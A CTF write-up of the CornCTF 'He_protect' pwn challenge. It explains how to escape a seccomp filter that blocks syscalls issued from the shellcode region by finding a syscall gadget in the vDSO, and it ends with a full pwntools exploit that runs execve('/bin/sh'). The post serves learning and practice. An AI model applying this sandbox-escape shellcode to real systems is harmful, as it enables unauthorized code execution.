Home CornCtf He_protect
Post
Cancel

CornCtf He_protect

Purpose : Get The Flag

The challenge binary mmaps a memory region at 0x500000 with a size of 0x1000 bytes and grants it read, write, and execute permissions.

It then:

  1. Asks the user how many bytes they want to write.

  2. Reads that many bytes as shellcode into the allocated memory.

There’s a check in place to ensure the number of bytes never exceeds 0x1000. If the user requests more, the program rejects the input.

Permissions on the binary are shown here:

{C88D8CE7-1342-458D-BCF6-C81CDA9D730B}

Before the shellcode is executed, seccomp rules are applied, as seen here:

{060F8FD5-5B6D-490E-BFE3-B6D6FFF5D46D}

The seccomp rules can be understood as follows:

1
2
3
4
5
6
7
8
9
10
11
12
if address < 0x400000:
    allow
elif address < 0x4b8000:
    kill  # anything in this range 0x400000 to 0x4b8000 is blocked

if address < 0x500000:
    allow
elif address < 0x501000:
    kill  # the mmap’d memory (0x500000–0x501000) is blocked

if address < 0x7fff:
    allow  # this includes the vDSO segment (used by libc to speed up syscalls)

What Makes This Tricky?

Seccomp only checks memory access when a syscall is executed normal code execution is unaffected. So we can run shellcode as usual, but the moment it triggers a syscall, seccomp kicks in and enforces these rules.

Our shellcode is in the 0x500000–0x501000 range and that entire range is blocked for syscalls. So if we try to run a syscall (like execve("/bin/sh")) directly from there, seccomp will kill the process.


The Bypass Idea

To work around this, we need to execute the syscall from a memory region that seccomp allows.

One such region is vDSO, which resides in a predictable address range, and contains a valid syscall instruction.

To find this:

  1. We search for a pointer to the vDSO in the binary itself (PIE is not enabled, so addresses are static).

  2. We dereference the pointer and look for a valid syscall gadget ( 0x0f05).

  3. Once located, we jump to that address instead of calling syscall from within the restricted mmap region.

Here’s a reference screenshot showing how we locate the pointer to the vDSO:

{C0F5BAAD-637C-47D3-B8F8-7E8D4E691EAB}

Working Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python3
from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

exe = './bin'

elf = context.binary = ELF(exe, checksec=True)


# Specify GDB script here (breakpoints etc)
gdbscript = '''

break *main+298
continue
'''.format(**locals())

io = start()

"""
address < 0x400000 Allow

address < 0x4b8000 Kill

0x400000 - 0x4b8000 kill range

address < 0x500000 Allow

address < 0x501000 Kill

0x500000 - 0x501000 Kill range


"""





c = constants

# 0x0F05 ---> syscall

# R8 -8 is 

payload = flat(asm("""
    mov r8, 0x4cea48
    mov rbx, qword [r8-8]

    xor rax,rax
    mov rcx, 0x050f
    sub rbx, 1
    search:
        add rbx, 1
        mov ax, [rbx]
        cmp ax, cx
        jnz search



    xor rdi , rdi
    xor rsi , rsi
    xor rdx , rdx
    mov rdi,0x68732f6e69622f
    push rdi
    mov rdi,rsp
    mov rax, 59
    mov r10, 0x7ffff7ffd4c5 
    jmp r10

    """))


payload += b"\xcc"*(500 - len(payload))

io.sendlineafter(b"How long is your shellcode?",b"500")

io.sendline(payload)

io.interactive()


This post is licensed under CC BY 4.0 by the author.